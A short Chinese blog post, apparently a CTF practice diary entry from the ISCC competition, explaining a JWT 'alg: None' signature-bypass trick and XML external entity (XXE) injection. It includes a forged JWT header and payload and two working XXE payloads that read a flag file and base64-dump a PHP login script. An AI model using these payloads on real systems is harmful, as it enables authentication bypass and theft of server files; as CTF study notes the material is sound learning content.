CTF打卡~Day19

发布于 2020-05-07  840 次阅读


今天主要也在打ISCC吧,大部分题目都还不方便写出来

今天花了比较多精力的就是jwt,某题jwt爆破失败还把电脑卡死了,于是学习了下别的方法

https://xz.aliyun.com/t/6776

http://purplet.top/

Node的JWT库的空加密缺陷

今天的某题就是用这个实现的。其原来的jwt有一个jti(类似于uuid的东西)我们修改完用户名之后将其置空

{
  "id": "user",
  "iat": 1588811781,
  "jti": []
}

之后将头文件的alg改成None

{
  "alg": "None",
  "typ": "JWT"
}

重新base回去,吧signature的那一段删掉,但是点仍然保留,就可以作为payload使用了。如果是手工base的话head上会有一个等号,但是不知道为何要吧那个等号去掉才能使用,或许这是jwt的奇怪规则?

XXE攻击

大致原理是在POST一个XML的时候,手写一个实体(entity),在实体中实现恶意执行,之后在原来的XML的语句内调用这个entity。

https://www.cnblogs.com/tqing/p/11852412.html

https://www.freebuf.com/articles/web/126788.html

https://blog.csdn.net/oubasangdadada/article/details/104608104/?tdsourcetag=s_pctim_aiomsg

https://www.zhaoj.in/read-6512.html?tdsourcetag=s_pctim_aiomsg

对于一个较为常见的POST用户名密码的XML

 <user><username>user</username><password>111</password></user> 

攻击方法可以是:

<?xml version="1.0" encoding="UTF-8"?> 
<!DOCTYPE any [
<!ENTITY xxe SYSTEM "file:///flag" >]>
<user><username>&xxe;</username><password>111</password></user>

或者

<?xml version="1.0" encoding="UTF-8"?>
<!DOCTYPE any[
  <!ENTITY file SYSTEM "php://filter/read=convert.base64-encode/resource=/var/www/html/doLogin.php">
]>
<user><username>&file;</username><password>1</password></user>


等风来,不如追风去。